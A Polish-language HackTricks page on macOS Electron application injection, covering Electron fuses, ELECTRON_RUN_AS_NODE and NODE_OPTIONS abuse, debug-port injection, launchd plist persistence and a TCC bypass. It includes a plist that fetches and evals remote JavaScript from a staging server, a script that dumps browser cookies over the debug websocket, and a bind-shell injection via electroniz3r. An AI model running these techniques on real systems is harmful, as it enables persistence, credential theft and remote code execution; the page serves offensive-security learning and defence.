hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

17 KiB

Wstrzykiwanie aplikacji Electron w macOS

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Jeśli nie wiesz, czym jest Electron, możesz znaleźć wiele informacji tutaj. Ale na razie wystarczy wiedzieć, że Electron uruchamia node.
A node ma pewne parametry i zmienne środowiskowe, które można wykorzystać do wykonania innego kodu niż wskazany plik.

Bezpieczniki Electrona

Poniższe techniki zostaną omówione później, ale w ostatnim czasie Electron dodał kilka flag bezpieczeństwa, aby im zapobiec. Są to Bezpieczniki Electrona, a te są używane do zapobiegania aplikacjom Electrona w macOS przed ładowaniem dowolnego kodu:

  • RunAsNode: Jeśli jest wyłączony, zapobiega użyciu zmiennej środowiskowej ELECTRON_RUN_AS_NODE do wstrzykiwania kodu.
  • EnableNodeCliInspectArguments: Jeśli jest wyłączony, parametry takie jak --inspect, --inspect-brk nie będą respektowane. Unikając w ten sposób wstrzykiwania kodu.
  • EnableEmbeddedAsarIntegrityValidation: Jeśli jest włączony, załadowany plik asar będzie zweryfikowany przez macOS. Zapobiegając w ten sposób wstrzykiwaniu kodu poprzez modyfikację zawartości tego pliku.
  • OnlyLoadAppFromAsar: Jeśli jest to włączone, zamiast szukać do załadowania w następującej kolejności: app.asar, app i ostatecznie default_app.asar. Sprawdzi i użyje tylko app.asar, co zapewnia, że gdy jest połączony z bezpiecznikiem embeddedAsarIntegrityValidation, jest niemożliwe do załadowania niezweryfikowanego kodu.
  • LoadBrowserProcessSpecificV8Snapshot: Jeśli jest włączony, proces przeglądarki używa pliku o nazwie browser_v8_context_snapshot.bin dla swojego migawkowego V8.

Innym interesującym bezpiecznikiem, który nie zapobiega wstrzykiwaniu kodu, jest:

  • EnableCookieEncryption: Jeśli jest włączony, przechowywane na dysku dane cookie są szyfrowane za pomocą kluczy kryptograficznych na poziomie systemu operacyjnego.

Sprawdzanie bezpieczników Electrona

Możesz sprawdzić te flagi z aplikacji za pomocą:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Modyfikowanie bezpieczników Electron

Jak wspominają dokumenty, konfiguracja bezpieczników Electron jest ustawiona wewnątrz binariów Electron, które zawierają gdzieś ciąg znaków dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

W aplikacjach macOS znajduje się to zazwyczaj w application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

Możesz załadować ten plik w https://hexed.it/ i wyszukać poprzedni ciąg znaków. Po tym ciągu znaków można zobaczyć w ASCII liczbę "0" lub "1", wskazującą, czy każdy bezpiecznik jest wyłączony czy włączony. Po prostu zmodyfikuj kod szesnastkowy (0x30 to 0, a 0x31 to 1) aby zmienić wartości bezpieczników.

Należy zauważyć, że jeśli spróbujesz nadpisać binarny plik Electron Framework wewnątrz aplikacji z tymi zmodyfikowanymi bajtami, aplikacja nie będzie działać.

RCE dodawanie kodu do Aplikacji Electron

Może istnieć zewnętrzne pliki JS/HTML, których używa Aplikacja Electron, więc atakujący może wstrzyknąć kod w te pliki, których sygnatura nie będzie sprawdzana i wykonać dowolny kod w kontekście aplikacji.

{% hint style="danger" %} Jednakże, w chwili obecnej istnieją 2 ograniczenia:

  • Wymagane jest uprawnienie kTCCServiceSystemPolicyAppBundles do modyfikacji Aplikacji, więc domyślnie to nie jest już możliwe.
  • Skompilowany plik asap zazwyczaj ma bezpieczniki embeddedAsarIntegrityValidation i onlyLoadAppFromAsar włączone

Co sprawia, że ścieżka tego ataku jest bardziej skomplikowana (lub niemożliwa). {% endhint %}

Należy zauważyć, że możliwe jest obejście wymagania kTCCServiceSystemPolicyAppBundles poprzez skopiowanie aplikacji do innego katalogu (np. /tmp), zmianę nazwy folderu app.app/Contents na app.app/NotCon, modyfikację pliku asar swoim złośliwym kodem, zmianę nazwy z powrotem na app.app/Contents i uruchomienie go.

Możesz rozpakować kod z pliku asar za pomocą:

npx asar extract app.asar app-decomp

I spakuj to z powrotem po dokonaniu modyfikacji za pomocą:

npx asar pack app-decomp app-new.asar

RCE z ELECTRON_RUN_AS_NODE

Zgodnie z dokumentacją, jeśli zmienna środowiskowa jest ustawiona, proces zostanie uruchomiony jako zwykły proces Node.js.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Jeśli flaga RunAsNode jest wyłączona, zmienna środowiskowa ELECTRON_RUN_AS_NODE zostanie zignorowana i to nie zadziała. {% endhint %}

Wstrzykiwanie z pliku App Plist

Zgodnie z propozycją tutaj, można nadużyć tej zmiennej środowiskowej w pliku plist w celu utrzymania trwałości:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

RCE z NODE_OPTIONS

Możesz przechowywać ładunek w innym pliku i go wykonać:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

{% endcode %}

{% hint style="danger" %} Jeśli bezpiecznik EnableNodeOptionsEnvironmentVariable jest wyłączony, aplikacja zignoruje zmienną środowiskową NODE_OPTIONS podczas uruchamiania, chyba że zmienna środowiskowa ELECTRON_RUN_AS_NODE jest ustawiona, co również będzie ignorowane, jeśli bezpiecznik RunAsNode jest wyłączony.

Jeśli nie ustawisz ELECTRON_RUN_AS_NODE, otrzymasz błąd: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details. {% endhint %}

Wstrzykiwanie z pliku Plist aplikacji

Możesz nadużyć tej zmiennej środowiskowej w pliku plist, aby utrzymać trwałość, dodając te klucze:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE z inspekcją

Zgodnie z tym, jeśli uruchomisz aplikację Electron z flagami takimi jak --inspect, --inspect-brk i --remote-debugging-port, port debugowania będzie otwarty, dzięki czemu możesz się do niego podłączyć (na przykład z Chrome w chrome://inspect) i będziesz mógł wstrzykiwać w nim kod lub nawet uruchamiać nowe procesy.
Na przykład:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Jeśli bezpiecznik EnableNodeCliInspectArguments jest wyłączony, aplikacja zignoruje parametry node (takie jak --inspect) podczas uruchamiania, chyba że zmienna środowiskowa ELECTRON_RUN_AS_NODE jest ustawiona, co również będzie ignorowane, jeśli bezpiecznik RunAsNode jest wyłączony.

Jednakże nadal można użyć parametru electron --remote-debugging-port=9229, ale poprzedni ładunek nie zadziała do uruchamiania innych procesów. {% endhint %}

Korzystając z parametru --remote-debugging-port=9222 można ukraść pewne informacje z aplikacji Electron, takie jak historia (z poleceniami GET) lub ciasteczka przeglądarki (ponieważ są odszyfrowywane wewnątrz przeglądarki i istnieje punkt końcowy json, który je udostępni).

Możesz dowiedzieć się, jak to zrobić tutaj tutaj i tutaj oraz użyć automatycznego narzędzia WhiteChocolateMacademiaNut lub prostego skryptu jak:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

W tym wpisie na blogu, to debugowanie jest wykorzystywane do spowodowania, że headless chrome pobiera dowolne pliki w dowolne lokalizacje.

Wstrzykiwanie z pliku App Plist

Możesz wykorzystać tę zmienną środowiskową w pliku plist, aby zachować trwałość, dodając te klucze:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

Ominięcie TCC wykorzystujące starsze wersje

{% hint style="success" %} Demon TCC z macOS nie sprawdza wykonanej wersji aplikacji. Jeśli więc nie możesz wstrzyknąć kodu do aplikacji Electron żadną z poprzednich technik, możesz pobrać poprzednią wersję aplikacji i wstrzyknąć w nią kod, ponieważ nadal uzyska uprawnienia TCC (chyba że zapobiega temu pamięć podręczna zaufania). {% endhint %}

Uruchamianie kodu nie-JS

Poprzednie techniki pozwolą Ci uruchomić kod JS w procesie aplikacji elektronowej. Jednak pamiętaj, że procesy potomne działają w ramach tego samego profilu piaskownicy co aplikacja nadrzędna i dziedziczą swoje uprawnienia TCC.
Dlatego jeśli chcesz nadużyć uprawnień, aby na przykład uzyskać dostęp do kamery lub mikrofonu, po prostu uruchom inny plik binarny z procesu.

Automatyczne wstrzykiwanie

Narzędzie electroniz3r można łatwo użyć do znalezienia podatnych aplikacji elektronowych zainstalowanych i wstrzyknięcia w nich kodu. To narzędzie spróbuje użyć techniki --inspect:

Musisz go skompilować samodzielnie i możesz go użyć w ten sposób:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║    Bundle identifier                      │       Path                                               ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: